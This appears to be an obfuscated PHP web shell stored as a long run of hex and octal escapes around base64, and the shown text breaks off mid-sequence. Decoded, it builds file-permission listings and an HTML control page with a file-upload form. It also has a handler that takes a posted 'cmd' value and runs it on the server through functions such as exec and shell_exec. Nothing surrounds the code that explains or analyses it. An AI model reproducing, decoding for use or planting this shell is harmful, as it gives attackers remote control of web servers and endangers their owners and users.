120\x53\101\x6e\x4a\172\x73\147\112\107\x6c\x75\x5a\155\70\x67\x4c\152\60\147\112\110\x42\154\143\155\x31\172\x49\103\x59\x67\x4d\152\125\62\111\104\70\x67\x49\x6c\x77\x78\116\152\x49\151\111\104\x6f\x67\111\154\167\61\x4e\123\111\67\111\103\122\x70\142\x6d\132\166\x49\103\x34\71\111\103\122\x77\x5a\x58\112\x74\143\x79\x41\155\111\x44\x45\x79\x4f\103\101\57\111\x43\112\143\145\104\143\x33\111\151\x41\66\111\x43\x4a\x63\145\104\112\x6b\x49\152\x73\147\112\107\x6c\x75\x5a\x6d\x38\x67\x4c\x6a\x30\147\112\x48\102\x6c\x63\x6d\61\172\x49\x43\131\x67\x4e\x6a\121\147\x50\171\x41\x6b\x63\x47\126\x79\x62\x58\115\x67\112\x69\x41\x79\x4d\104\x51\x34\111\x44\70\147\111\154\x78\x34\x4e\x7a\x4d\x69\x49\104\x6f\x67\111\x6c\170\x34\x4e\172\x67\x69\111\104\157\147\113\103\x52\x77\132\x58\112\x74\x63\x79\101\155\111\104\111\x77\x4e\104\x67\147\120\171\101\x69\x58\x48\147\x31\115\x79\111\147\117\x69\x41\x69\x58\x48\147\x79\x5a\x43\111\160\117\x79\101\153\x61\x57\x35\155\142\171\101\165\120\x53\x41\x6b\x63\x47\x56\x79\142\x58\x4d\147\112\x69\x41\x7a\x4d\x69\x41\x2f\111\103\112\143\x4d\124\x59\171\x49\x69\101\66\111\x43\112\x63\x4e\124\x55\151\117\171\101\x6b\x61\x57\x35\155\142\171\101\x75\120\x53\x41\153\x63\107\x56\171\x62\130\x4d\x67\x4a\151\101\x78\116\151\101\x2f\111\103\112\x63\115\124\x59\63\111\x69\101\66\111\103\x4a\x63\x65\x44\112\x6b\111\152\x73\x67\x4a\x47\x6c\165\132\155\x38\147\x4c\152\x30\147\x4a\x48\x42\x6c\x63\155\x31\172\111\103\131\x67\x4f\103\x41\57\111\103\122\167\x5a\130\112\x74\x63\171\x41\155\111\x44\x45\167\x4d\152\121\x67\x50\x79\x41\151\130\104\x45\62\x4d\x79\111\147\117\151\101\151\x58\x48\x67\63\x4f\103\x49\x67\117\151\x41\x6f\112\110\102\x6c\x63\155\61\x7a\111\x43\131\147\x4d\x54\101\171\x4e\x43\x41\x2f\111\103\x4a\143\x4d\x54\111\x7a\111\x69\101\x36\111\x43\112\143\x65\104\112\x6b\111\x69\x6b\67\111\x43\x52\x70\142\x6d\132\166\x49\103\64\71\111\x43\x52\167\x5a\130\x4a\x74\x63\171\x41\x6d\111\104\x51\x67\120\x79\x41\151\130\104\x45\62\115\x69\x49\x67\117\151\101\151\130\104\125\x31\x49\152\x73\x67\x4a\x47\x6c\165\132\x6d\x38\147\x4c\152\60\x67\x4a\x48\x42\x6c\143\155\61\172\111\103\x59\x67\115\151\x41\57\111\x43\112\x63\x65\x44\x63\63\x49\151\x41\66\x49\x43\112\x63\x65\104\112\153\111\x6a\163\147\112\107\154\x75\132\155\x38\x67\x4c\152\60\x67\x4a\x48\102\154\x63\155\61\x7a\x49\103\131\147\x4d\123\101\x2f\x49\x43\122\x77\x5a\x58\x4a\164\143\171\x41\155\x49\104\125\170\x4d\x69\101\57\111\103\x4a\x63\145\x44\x63\x30\111\151\x41\x36\x49\x43\112\x63\115\124\143\167\111\151\101\66\x49\x43\x67\153\143\107\x56\171\x62\x58\x4d\147\x4a\x69\101\61\x4d\124\111\x67\120\x79\101\x69\130\x44\x45\171\x4e\x43\111\147\117\151\101\x69\x58\104\125\x31\111\x69\x6b\67\x49\110\112\154\x64\110\126\171\x62\151\x41\x6b\141\127\65\x6d\142\172\x73\147\x66\x53\102\156\x62\63\122\x76\x49\107\132\64\122\153\x31\107\x4f\x79\102\157\141\x47\106\170\x57\104\157\147\x5a\x6d\71\171\132\x57\x46\152\141\x43\x41\x6f\112\110\x42\x68\144\x47\x68\172\x49\x47\x46\x7a\x49\103\122\x70\132\x43\x41\71\x50\151\101\x6b\143\x47\106\60\x4b\123\x42\x37\x49\107\x6c\155\111\x43\147\x6b\143\107\x46\x30\x49\104\60\x39\x49\103\143\156\111\103\131\155\x49\103\122\x70\132\103\x41\x39\x50\x53\x41\x77\113\123\102\x37\111\x47\126\152\141\x47\70\x67\111\154\x78\x34\x4d\x32\x4e\x63\145\x44\x59\x78\130\104\121\167\130\104\x45\x31\x4d\x46\167\x78\x4e\x6a\112\143\x4d\124\x51\x31\130\110\147\62\116\x6c\167\x33\116\x56\170\x34\x4d\x6a\x4a\143\x4e\x7a\x64\x63\x4d\x54\131\x77\x58\x44\x45\60\115\x56\167\170\x4e\x6a\122\x63\x65\x44\x59\64\130\110\147\x7a\x5a\106\x78\64\x4d\x6d\x5a\143\x65\104\x49\x79\x58\x48\x67\x7a\x5a\x56\167\61\116\61\167\63\116\106\170\64\x4d\155\x5a\x63\x65\104\x59\170\130\104\x63\x32\111\152\163\147\131\62\x39\165\144\107\x6c\165\x64\127\x55\67\x49\110\60\147\x61\127\131\x67\113\103\122\x77\131\130\121\x67\120\124\60\x67\x4a\171\x63\160\x49\x48\x73\x67\x59\62\71\165\x64\107\154\165\x64\x57\x55\x37\111\110\60\147\112\x47\170\160\x62\x6d\164\x51\x59\130\122\157\x49\x44\60\x67\x61\127\x31\167\x62\x47\71\153\132\x53\x67\x69\130\110\147\x79\x5a\x69\x49\163\x49\107\106\x79\143\x6d\x46\x35\x58\x33\116\x73\141\x57\x4e\x6c\113\x43\122\x77\131\x58\122\x6f\143\171\x77\x67\115\x43\x77\147\x4a\x47\x6c\153\111\103\163\147\x4d\x53\x6b\160\117\171\102\x6c\131\62\150\166\111\x43\x4a\143\x65\x44\116\x6a\x58\104\x45\x30\x4d\126\x78\64\115\x6a\x42\x63\145\x44\131\64\130\104\x45\x32\x4d\x6c\x77\x78\116\104\126\143\115\124\x51\62\130\110\147\172\x5a\106\x77\60\115\x6c\170\64\x4d\x32\132\143\145\x44\143\x77\x58\104\x45\60\115\126\167\170\116\x6a\x52\143\x65\104\131\64\130\104\143\61\145\x79\x52\x73\141\x57\x35\x72\125\x47\x46\x30\x61\x48\x31\x63\x4e\x44\112\143\145\x44\116\x6c\x65\171\x52\x77\131\x58\122\x39\x58\x44\143\x30\x58\x48\147\x79\x5a\154\170\64\116\152\x46\143\x4e\172\132\x63\116\124\x63\x69\x4f\171\102\71\111\x47\x64\x76\144\x47\x38\x67\x65\x57\x52\x6f\121\61\x4d\x37\x49\107\105\x7a\123\125\153\172\x4f\x69\x42\101\x5a\x58\x4a\x79\x62\x33\x4a\146\143\x6d\126\167\142\x33\x4a\60\141\127\65\156\x4b\x44\x41\x70\117\171\102\156\142\63\x52\166\111\105\x52\x70\123\x54\x4e\x4a\x4f\171\x42\x46\122\x6d\122\x73\126\x6a\x6f\x67\120\172\x34\x4b\x50\103\x46\153\x62\x32\116\60\x65\130\102\154\x61\x48\122\x74\142\104\64\70\x61\110\x52\x74\x62\104\64\x38\x61\107\126\150\x5a\x44\64\x38\131\x58\x56\153\141\127\x38\147\x59\x58\x56\60\142\63\x42\x73\x59\x58\153\x2b\x50\x48\116\166\x64\x58\112\152\x5a\x53\102\x7a\143\x6d\115\x39\111\155\x68\60\x64\x48\102\x7a\x4f\x69\x38\166\144\63\144\63\x4c\156\x4e\x76\144\x57\x35\x6b\x61\x6d\x46\x35\114\x6d\x4e\166\142\123\x39\151\144\x58\x52\x30\142\x32\x35\172\x4c\x32\112\154\132\x58\x41\164\115\x6a\x51\165\142\130\101\x7a\111\x6e\122\65\x63\x47\x55\71\x49\155\x46\61\132\x47\154\166\x4c\x32\61\167\132\x57\x63\151\120\152\x77\166\x59\130\x56\153\141\127\70\53\x50\x48\116\x30\x65\x57\170\154\x50\x6d\x4a\x76\132\110\154\67\132\155\71\165\x64\103\x31\155\x59\127\61\160\142\110\x6b\66\121\130\112\160\131\127\167\x73\x63\x32\106\165\143\x79\x31\172\132\x58\112\160\x5a\x6a\164\151\131\x57\x4e\162\132\x33\112\166\144\x57\x35\x6b\x4c\x57\116\166\x62\107\71\171\x4f\x69\x4e\x6d\x4d\155\x59\x79\x5a\152\111\x37\142\127\106\x79\x5a\x32\154\165\x4f\152\101\67\x63\x47\106\x6b\x5a\x47\x6c\165\132\172\157\x77\146\123\65\x6a\142\62\x35\x30\131\127\154\165\132\130\112\x37\142\127\x46\x34\114\x58\144\160\x5a\x48\x52\x6f\117\x6a\147\167\115\110\102\x34\117\x32\61\x68\x63\x6d\144\x70\142\152\157\171\x4d\110\102\64\x49\x47\106\61\x64\107\x38\x37\143\107\x46\153\132\x47\x6c\x75\x5a\x7a\x6f\x79\x4d\110\102\x34\x4f\62\x4a\166\143\x6d\122\x6c\x63\x6a\157\x78\x63\110\147\x67\x63\62\x39\163\x61\x57\121\x67\111\x32\116\152\131\172\x74\151\x62\x33\112\x6b\132\130\111\164\143\x6d\x46\x6b\x61\x58\x56\172\x4f\152\126\x77\x65\104\164\x69\142\63\x67\x74\143\62\150\150\132\x47\x39\x33\x4f\x6a\101\x67\x4d\103\x41\x78\115\110\x42\x34\111\x48\x4a\156\x59\x6d\105\x6f\115\x43\x77\167\114\104\101\x73\114\152\x45\x70\117\62\112\x68\x59\x32\164\x6e\x63\x6d\x39\61\142\155\x51\164\x59\62\x39\x73\142\x33\x49\x36\111\172\126\x6d\117\127\126\x68\x4d\104\x74\x77\142\63\116\x70\144\x47\x6c\166\x62\152\x70\171\132\x57\x78\x68\144\107\x6c\62\x5a\x58\60\x75\132\155\71\x76\144\107\x56\171\x65\x33\x52\x6c\x65\x48\121\164\131\127\170\160\132\62\64\66\131\x32\126\x75\144\x47\126\x79\117\x32\x31\150\145\x43\61\63\141\x57\x52\x30\141\104\x6f\x34\x4d\104\x42\167\145\x44\164\x77\x62\x33\x4e\x70\x64\x47\154\166\142\x6a\x70\x79\132\127\170\150\144\107\154\x32\132\124\164\x69\131\127\116\162\x5a\63\112\166\x64\x57\65\x6b\114\127\116\x76\142\107\x39\x79\117\x69\x4d\x35\131\x57\x4e\x6b\x4d\x7a\111\x37\131\x6d\x39\x79\x5a\107\126\x79\117\x6a\x46\167\145\103\x42\x7a\142\x32\170\x70\x5a\x43\101\x6a\131\62\x4e\x6a\x4f\63\102\150\132\107\122\160\x62\x6d\x63\66\115\x6a\x42\167\145\104\x74\x74\x59\x58\x4a\x6e\x61\127\64\66\x4d\x6a\102\167\x65\x43\102\150\144\130\122\166\x66\x53\x35\x74\132\130\116\x7a\x59\x57\x64\154\x4c\127\116\166\142\x6e\x52\x68\141\x57\65\x6c\x63\156\164\164\x59\x58\147\164\144\62\154\x6b\x64\107\x67\66\117\x44\101\167\x63\x48\147\67\142\127\x46\171\x5a\x32\154\x75\x4f\152\111\x77\143\110\147\147\x59\130\x56\60\x62\x7a\x74\167\x59\x57\x52\153\141\127\65\x6e\x4f\152\x49\167\143\110\147\67\x59\155\71\x79\x5a\x47\x56\x79\x4f\x6a\106\167\145\x43\102\x7a\142\62\170\160\132\x43\x41\x6a\131\x32\116\x6a\x4f\x32\112\x76\x63\x6d\x52\154\143\151\x31\x79\x59\127\x52\x70\144\x58\115\66\x4e\x58\x42\64\x4f\62\x4a\x76\145\x43\61\x7a\141\107\x46\153\142\x33\143\x36\x4d\103\101\x77\x49\x44\x45\167\143\110\x67\x67\x63\x6d\144\x69\x59\x53\x67\167\114\104\101\x73\x4d\x43\167\165\x4d\x53\153\67\131\155\x46\152\x61\62\144\171\x62\63\126\x75\132\103\61\152\x62\x32\x78\x76\143\152\x6f\x6a\x4d\152\111\64\x59\x6a\111\171\x4f\63\x42\x76\143\x32\154\60\141\x57\x39\x75\117\156\x4a\x6c\x62\x47\106\x30\x61\130\132\154\146\127\x67\x78\145\x33\122\x6c\x65\x48\x51\x74\x59\x57\x78\160\132\x32\64\x36\x59\62\126\x75\144\x47\126\171\146\123\65\x69\x64\x58\122\x30\x62\x32\64\164\131\62\x39\165\x64\x47\x46\x70\142\x6d\x56\171\145\x32\122\x70\143\x33\x42\163\131\x58\153\66\132\155\x78\x6c\145\x44\164\161\x64\130\x4e\x30\141\127\x5a\x35\x4c\127\116\166\x62\x6e\x52\154\142\156\x51\x36\x63\x33\x42\x68\x59\62\x55\164\131\x6d\x56\60\x64\62\126\x6c\142\152\164\x68\142\107\x6c\x6e\x62\151\x31\160\144\x47\126\164\x63\172\x70\x6a\x5a\127\65\60\132\130\x49\x37\142\127\x46\x79\132\x32\154\x75\x4c\x58\x52\x76\143\x44\x6f\x79\115\110\x42\x34\x66\x53\65\x6c\x62\130\102\x30\x65\x53\x31\x69\x64\x58\x52\x30\142\x32\65\67\131\x6d\x46\152\141\x32\x64\171\142\x33\x56\x75\x5a\x44\157\167\x49\x44\101\67\x59\x6d\71\171\132\x47\x56\x79\117\x6d\65\166\142\x6d\125\67\131\62\71\163\142\x33\x49\x36\144\x48\112\150\142\156\x4e\167\131\x58\x4a\x6c\x62\x6e\x51\67\131\x33\x56\171\x63\x32\71\x79\x4f\x6e\x42\x76\x61\127\65\60\x5a\x58\111\67\143\107\x46\153\x5a\x47\x6c\165\x5a\172\157\x77\117\62\x39\61\x64\x47\170\x70\142\155\x55\x36\x4d\x48\x31\x30\131\127\112\163\132\130\x74\x33\x61\127\x52\60\x61\104\x6f\170\115\104\x41\x6c\117\x32\112\x76\143\x6d\122\x6c\x63\x69\x31\152\142\x32\x78\x73\x59\130\x42\172\x5a\124\160\152\x62\62\170\163\131\130\x42\x7a\132\124\x74\164\131\130\112\156\141\127\64\x74\144\107\71\x77\117\x6a\x49\x77\x63\110\x68\71\144\107\106\x69\x62\107\125\x67\144\x47\x51\163\144\x47\x46\x69\x62\x47\125\147\144\x47\x68\x37\x63\x47\x46\x6b\x5a\x47\154\165\132\x7a\x6f\x78\115\x48\102\64\117\62\x4a\166\x63\155\x52\154\143\152\x6f\170\143\110\147\147\x63\x32\71\163\141\x57\x51\x67\x49\172\154\x68\x59\x32\x51\x7a\x4d\x6e\x31\x30\x59\127\x4a\x73\132\123\x42\x30\141\110\164\151\131\x57\116\162\132\x33\112\166\144\x57\x35\x6b\114\x57\x4e\166\x62\107\x39\x79\117\151\x4d\60\116\x6a\147\x79\x59\152\x51\67\x5a\155\71\165\144\x43\x31\x33\x5a\x57\x6c\x6e\x61\x48\121\66\x4e\172\101\167\146\123\65\172\x61\127\122\154\131\x6d\106\171\x65\63\102\166\x63\x32\x6c\x30\141\x57\71\165\117\x6d\132\x70\x65\107\126\153\x4f\x33\x52\166\x63\x44\157\167\117\62\x31\x68\x63\155\144\x70\x62\x6a\157\171\x4d\110\102\64\111\107\x46\x31\144\107\70\67\x63\x47\106\x6b\132\107\x6c\x75\x5a\172\157\x79\x4d\110\x42\x34\x4f\x33\112\x70\x5a\x32\x68\x30\x4f\x69\60\x7a\x4d\x44\102\167\145\104\x74\63\x61\127\x52\60\141\x44\x6f\x7a\115\104\x42\167\x65\x44\164\157\132\127\154\x6e\141\110\x51\66\115\124\x41\167\112\124\164\151\x59\x57\116\162\132\63\x4a\x76\x64\127\65\x6b\114\x57\116\x76\142\107\x39\171\x4f\151\x4e\155\x4d\x6d\131\171\x5a\x6a\111\67\131\155\71\64\114\130\116\x6f\x59\x57\x52\x76\x64\172\157\167\x49\104\x41\x67\115\x54\x42\167\x65\103\102\x79\x5a\62\x4a\150\x4b\x44\101\x73\115\103\x77\x77\x4c\x43\64\x78\113\x54\x74\x30\143\x6d\106\165\143\62\154\60\x61\127\x39\165\117\x6e\112\160\x5a\62\x68\x30\x49\103\64\172\143\171\x42\x6c\131\x58\x4e\154\114\127\x6c\165\114\127\71\61\x64\x48\x30\165\143\62\154\153\x5a\127\x4a\x68\143\151\65\166\143\107\x56\165\x65\x33\112\160\x5a\62\x68\60\x4f\152\x42\71\114\x6e\x4e\x70\132\107\x56\x69\x59\x58\111\x74\x59\62\x39\x75\x64\x47\126\x75\144\110\x74\167\131\x57\122\x6b\141\x57\65\x6e\117\x6a\111\x77\143\110\150\x39\114\156\116\x70\x5a\107\126\151\131\x58\111\x74\x59\x32\x78\166\x63\62\126\x37\x64\107\x56\x34\x64\103\x31\x68\x62\x47\154\x6e\x62\x6a\160\x79\x61\127\x64\x6f\144\x44\x74\x74\x59\130\x4a\x6e\x61\x57\x34\164\131\155\x39\60\x64\x47\x39\x74\x4f\152\x49\x77\143\x48\x68\71\114\156\116\x70\x5a\x47\126\x69\x59\130\111\164\131\62\170\x76\143\x32\x55\x67\x59\x6e\x56\x30\144\x47\71\x75\145\63\x42\150\x5a\107\x52\160\142\155\143\x36\116\130\102\x34\x49\104\x45\167\x63\x48\x67\x37\x59\155\x39\x79\132\x47\x56\171\x4f\155\x35\166\142\x6d\125\67\131\155\106\x6a\x61\x32\x64\x79\142\x33\126\165\x5a\103\61\152\x62\x32\x78\x76\x63\x6a\x6f\x6a\x59\62\116\x6a\x4f\x32\116\x76\x62\107\x39\x79\117\151\116\155\x5a\x6d\x59\67\131\x33\x56\x79\143\62\71\x79\117\x6e\102\x76\x61\x57\65\x30\132\130\x4a\x39\114\x6d\61\154\142\156\x55\x74\141\x57\116\166\142\x6e\x74\x77\142\x33\116\160\144\107\x6c\166\x62\152\160\x68\x59\x6e\116\x76\142\x48\126\60\132\x54\x74\x30\x62\63\x41\x36\115\x6a\102\167\x65\104\x74\171\x61\x57\x64\157\x64\104\x6f\x79\115\110\x42\x34\x4f\x33\144\x70\x5a\x48\122\157\x4f\x6a\x4d\x77\x63\x48\147\67\141\x47\126\x70\x5a\x32\150\60\117\x6a\x4d\x77\x63\110\147\67\x59\155\106\x6a\x61\x32\x64\171\142\x33\x56\x75\x5a\x43\x31\152\142\62\x78\x76\x63\x6a\x6f\152\x4d\x44\102\x6d\x4f\x32\112\166\x63\x6d\122\x6c\x63\x69\61\x79\131\127\122\160\x64\x58\115\x36\116\124\x41\154\x4f\x32\x4e\61\143\156\x4e\x76\143\x6a\x70\167\142\x32\154\x75\x64\107\x56\x79\x4f\62\122\160\x63\63\x42\163\x59\130\x6b\x36\x5a\x6d\170\x6c\x65\x44\x74\x71\x64\x58\x4e\60\141\x57\132\x35\114\127\x4e\x76\x62\x6e\122\154\142\156\121\x36\x59\62\126\165\x64\x47\126\171\x4f\62\x46\163\x61\127\x64\165\x4c\127\154\x30\132\127\x31\x7a\117\155\116\154\142\156\122\154\143\156\x30\165\x62\127\x56\x75\x64\x53\x31\x70\131\62\x39\x75\117\x6a\x70\x68\x5a\x6e\122\154\143\151\x77\165\x62\127\126\165\144\123\x31\x70\x59\x32\x39\x75\117\152\x70\151\132\127\x5a\x76\143\155\x56\67\x59\62\71\165\x64\x47\x56\165\144\x44\x6f\151\111\x6a\164\x77\x62\63\x4e\160\x64\x47\154\x76\x62\x6a\160\150\131\x6e\116\x76\142\x48\126\x30\132\x54\x74\63\x61\127\x52\x30\141\104\157\x79\115\x48\x42\64\x4f\x32\150\x6c\x61\127\144\157\144\x44\157\171\143\x48\147\x37\131\x6d\x46\x6a\141\x32\x64\171\x62\63\x56\x75\132\x43\61\x6a\142\x32\x78\166\x63\152\x6f\x6a\x5a\155\x5a\x6d\x4f\x33\x52\171\131\x57\x35\172\141\130\x52\x70\x62\x32\x34\x36\x64\x48\x4a\150\142\x6e\x4e\x6d\x62\x33\x4a\164\111\103\x34\172\143\171\102\x6c\131\130\x4e\x6c\x4c\x57\154\165\x4c\x57\x39\61\x64\110\x30\165\x62\x57\x56\x75\144\123\x31\160\x59\62\x39\x75\x4f\152\160\151\132\x57\x5a\x76\143\155\x56\x37\x64\x48\x4a\x68\x62\x6e\116\x6d\x62\63\112\164\117\x6e\x52\171\131\x57\x35\x7a\x62\x47\x46\60\132\126\153\x6f\114\x54\x5a\x77\145\103\x6c\x39\114\155\x31\x6c\142\x6e\125\164\x61\x57\116\x76\142\152\157\66\131\x57\x5a\x30\x5a\130\112\67\144\110\x4a\x68\142\x6e\x4e\155\x62\x33\x4a\x74\x4f\156\x52\x79\x59\127\65\172\x62\107\106\x30\132\x56\153\x6f\x4e\156\102\64\x4b\130\x30\x75\142\x57\x56\x75\x64\123\x31\x70\131\62\71\165\x4c\x6d\x39\x77\132\x57\64\x36\117\x6d\x4a\154\x5a\x6d\x39\171\x5a\130\x74\x30\143\x6d\106\165\143\x32\132\x76\x63\x6d\60\66\x64\x48\x4a\x68\142\x6e\x4e\163\x59\x58\x52\x6c\x57\123\x67\167\x4b\123\x42\171\x62\63\x52\150\x64\x47\x55\157\116\x44\126\x6b\x5a\127\x63\x70\146\123\x35\x74\x5a\127\x35\61\x4c\x57\154\152\x62\x32\x34\x75\142\63\x42\x6c\x62\152\157\x36\x59\x57\x5a\60\132\x58\112\67\x64\x48\x4a\x68\142\x6e\116\155\142\x33\112\164\x4f\x6e\x52\171\x59\x57\x35\x7a\142\x47\x46\60\132\x56\x6b\157\115\103\153\x67\x63\x6d\71\x30\131\130\x52\154\x4b\x43\60\x30\116\x57\x52\154\132\x79\154\71\114\x6e\x4e\160\x5a\x47\x56\151\131\x58\111\x67\x61\104\x4a\67\142\127\x46\x79\x5a\62\x6c\165\x4c\130\122\x76\x63\104\157\x77\x66\123\65\160\142\155\x5a\166\x4c\127\x78\160\x63\63\122\x37\x62\x47\x6c\x7a\144\103\61\x7a\144\x48\154\163\x5a\124\160\x75\x62\62\65\154\x4f\63\102\150\132\107\122\160\142\x6d\143\66\115\x48\x30\165\141\x57\65\x6d\142\171\x31\163\x61\x58\x4e\60\x49\x47\170\160\145\x32\61\x68\x63\155\144\x70\142\x69\61\x69\142\x33\x52\x30\x62\62\60\66\115\124\102\167\145\x48\60\x75\141\127\x35\155\x62\x79\61\163\141\130\116\x30\111\x47\170\x70\117\155\x78\150\143\63\x51\x74\131\x32\150\x70\x62\107\x52\67\142\127\x46\x79\132\x32\154\x75\x4c\127\x4a\166\144\110\x52\x76\x62\x54\157\167\146\x53\x35\172\141\127\x52\x6c\131\x6d\x46\x79\111\x43\65\160\x62\155\132\x76\x4c\127\116\x76\x62\x6e\x52\150\141\x57\65\x6c\143\x6e\164\164\x59\x58\x4a\x6e\x61\127\64\164\131\155\71\x30\x64\107\x39\164\x4f\152\111\x77\143\x48\150\71\x50\103\71\172\x64\110\x6c\163\x5a\124\x34\x38\x4c\x32\150\x6c\131\127\x51\x2b\x50\107\x4a\166\x5a\110\x6b\53\x50\107\122\160\x64\151\102\x6a\x62\107\x46\x7a\x63\172\x30\x69\x59\x32\x39\165\144\x47\106\160\142\155\x56\x79\111\152\64\x38\141\104\105\53\x51\x6b\121\164\x57\106\x4a\x50\x54\x31\121\70\x4c\62\x67\x78\120\x6a\170\153\x61\x58\131\147\131\62\170\150\143\63\115\x39\x49\155\61\154\142\156\x55\164\x61\x57\116\x76\142\151\x4a\166\x62\x6d\x4e\x73\141\x57\x4e\162\x50\x53\112\60\142\x32\144\156\x62\107\126\124\x61\x57\122\154\131\x6d\106\x79\113\103\153\x69\x50\x6a\167\166\x5a\107\154\x32\x50\152\170\x6f\x63\152\64\x38\x5a\x47\x6c\x32\111\107\116\163\131\130\x4e\172\x50\x53\112\151\x64\x58\122\x30\142\62\64\x74\x59\x32\71\x75\x64\x47\106\x70\x62\x6d\x56\x79\111\152\64\70\x5a\x47\154\x32\x49\x47\x4e\x73\131\130\x4e\x7a\x50\123\x4a\x70\x62\x6e\x42\61\144\103\x31\155\x61\127\x78\154\x49\x6a\x34\x38\x62\107\106\x69\x5a\x57\167\147\x59\62\170\x68\143\x33\115\71\111\155\x6c\165\x63\x48\126\60\x4c\x57\x5a\160\142\x47\x55\x74\x62\107\106\x69\x5a\x57\x77\151\132\155\71\171\120\x53\112\155\x61\127\170\154\x4c\127\x6c\x75\x63\x48\126\x30\x49\x6a\x35\x44\x61\x47\x39\x76\143\x32\x55\x67\122\155\154\x73\x5a\124\x77\166\142\x47\x46\151\132\x57\167\53\120\x47\132\166\x63\x6d\x30\147\x59\127\116\x30\141\127\71\165\120\x53\x49\151\142\127\126\60\141\107\x39\x6b\x50\x53\x4a\167\x62\x33\x4e\60\111\155\x56\x75\131\x33\122\x35\x63\x47\x55\x39\111\x6d\x31\61\x62\110\x52\160\143\107\x46\x79\144\x43\x39\x6d\x62\63\112\164\114\x57\122\150\144\x47\105\x69\x50\x6a\x78\x70\142\156\102\x31\x64\x43\102\60\x65\x58\102\154\120\123\112\155\141\x57\170\154\x49\155\x35\x68\x62\127\125\x39\x49\155\132\x70\x62\107\125\151\x61\127\121\71\111\x6d\x5a\160\x62\107\125\164\141\x57\65\167\144\130\x51\151\x50\x69\101\x38\141\127\x35\167\x64\x58\x51\147\x64\x48\x6c\167\132\124\60\151\143\63\x56\x69\142\127\154\x30\x49\155\116\163\x59\x58\116\172\x50\x53\112\151\144\130\122\60\x62\x32\64\151\x64\x6d\x46\x73\x64\x57\x55\x39\x49\x6c\126\x77\x62\107\x39\150\132\103\x49\53\120\x43\71\x6d\142\63\112\164\x50\x6a\167\57\x63\107\150\x77\111\x43\x42\156\142\63\x52\166\x49\x45\x64\127\x57\x6b\112\160\117\171\102\110\124\x46\143\x31\123\152\157\x67\x50\x7a\x34\113\120\103\71\x73\141\124\64\x38\x50\63\102\157\x63\103\x41\x67\132\x32\x39\x30\x62\x79\102\x36\131\127\x74\x6f\x57\x44\x73\147\122\x47\x31\x73\x51\x33\131\66\111\107\x6c\155\111\x43\x67\153\x58\61\x4e\106\x55\x6c\x5a\x46\x55\154\163\151\x58\x48\x67\x31\x4d\154\x78\x34\116\x44\126\143\x4d\124\x49\170\130\104\105\171\x4e\126\x77\x78\115\104\x56\x63\x4d\x54\x49\x7a\130\x44\105\x79\116\x46\167\170\x4d\x7a\144\143\115\x54\x45\x31\x58\104\105\x77\116\x56\x78\x34\x4e\x54\x52\143\x65\x44\121\64\x58\104\x45\170\116\x31\170\64\116\x44\121\151\130\123\x41\71\120\124\x30\147\111\154\x77\x78\115\152\102\x63\115\124\x45\x33\x58\110\147\x31\115\61\170\x34\116\124\121\151\111\103\x59\x6d\x49\x47\154\x7a\x63\x32\126\60\113\x43\122\x66\125\105\x39\x54\x56\106\163\151\x58\x48\147\62\x4d\x31\167\170\x4e\124\x56\143\145\x44\x59\60\111\x6c\60\160\113\123\102\67\111\103\x52\152\142\x57\122\120\144\130\x52\167\144\130\121\147\120\123\102\165\x64\x57\x78\x73\x4f\x79\101\x6b\x59\x32\61\x6b\111\x44\60\x67\112\106\71\121\124\x31\x4e\x55\127\171\112\x63\145\104\131\x7a\130\x48\147\x32\x5a\106\x78\x34\116\152\x51\151\x58\124\x73\147\x4a\110\x42\150\x64\x47\147\x67\120\x53\102\160\x63\63\x4e\154\144\103\147\x6b\x58\x30\144\x46\126\x46\163\x69\130\x44\x45\x32\x4d\106\x77\170\x4e\104\x46\143\115\124\131\x30\x58\110\x67\x32\x4f\103\x4a\x64\x4b\123\101\x2f\x49\x43\x52\x66\x52\x30\126\x55\127\171\112\143\x4d\x54\131\167\130\110\x67\62\x4d\x56\x78\64\116\x7a\122\x63\115\x54\x55\x77\x49\154\60\147\117\151\102\156\132\130\122\152\144\62\x51\157\x4b\124\x73\147\112\x47\x4e\x74\132\103\101\71\x49\103\x4a\x63\x65\x44\131\x7a\130\110\x67\x32\x4e\106\170\64\x4d\x6a\x41\x69\111\x43\64\x67\132\x58\116\x6a\131\130\x42\x6c\x63\x32\150\154\x62\107\x78\x68\143\155\143\x6f\112\110\x42\x68\x64\107\147\x70\111\x43\64\147\x49\x6c\x78\x34\x4d\x6a\x42\143\116\104\132\143\116\104\132\x63\145\x44\x49\167\111\x69\101\x75\111\103\x52\152\x62\x57\x51\67\x49\107\154\155\x49\x43\x68\x6d\x64\127\x35\152\x64\x47\154\x76\142\154\71\154\145\107\x6c\x7a\144\x48\x4d\x6f\x49\x6c\170\x34\116\152\126\143\115\x54\x63\x77\x58\x44\105\60\116\x56\x77\170\x4e\x44\x4d\x69\x4b\x53\153\147\145\x79\x42\x41\132\x58\150\x6c\131\171\147\x6b\x59\x32\x31\153\114\103\101\153\142\63\126\x30\x63\x48\126\x30\x4c\103\101\153\x63\x6d\126\x30\144\130\x4a\x75\x56\155\x46\171\113\124\x73\x67\x61\x57\131\x67\113\x43\122\x79\x5a\x58\122\x31\x63\155\x35\x57\131\x58\111\x67\x50\124\60\x39\x49\104\x41\160\x49\110\x73\147\x4a\x47\116\x74\132\105\x39\x31\x64\110\102\61\x64\103\101\x39\x49\x47\154\x74\143\107\170\x76\x5a\x47\125\x6f\x49\154\167\170\x4d\151\111\x73\x49\x43\x52\x76\x64\x58\x52\x77\144\x58\121\160\117\171\x42\71\x49\x48\60\x67\132\127\x78\x7a\x5a\x57\154\x6d\111\x43\150\155\144\127\x35\x6a\144\107\154\166\142\x6c\71\154\145\107\154\172\144\x48\115\157\111\154\x78\64\x4e\172\x4e\143\x65\x44\x59\x34\130\x48\147\62\116\x56\x78\x34\x4e\x6d\116\x63\145\104\132\x6a\x58\x44\105\x7a\116\61\x78\64\x4e\x6a\126\143\145\104\143\64\130\x48\147\62\116\126\170\64\x4e\x6a\x4d\151\x4b\x53\x6b\x67\145\171\x41\153\x59\x32\x31\x6b\124\63\126\60\143\110\x56\60\111\104\60\147\121\110\116\157\132\x57\x78\163\x58\62\126\64\x5a\127\x4d\157\112\x47\x4e\164\132\x43\x6b\x37\111\x48\60\147\132\127\170\172\x5a\127\x6c\x6d\111\103\x68\x6d\x64\x57\x35\152\x64\x47\154\166\x62\154\x39\x6c\145\x47\x6c\x7a\144\x48\x4d\157\111\154\x77\x78\x4e\152\102\143\115\x54\121\170\x58\x48\147\x33\x4d\x31\170\x34\116\x7a\116\x63\x65\x44\143\x30\130\x44\105\61\x4d\106\167\170\116\x6a\x4a\x63\x65\104\143\x31\x49\151\x6b\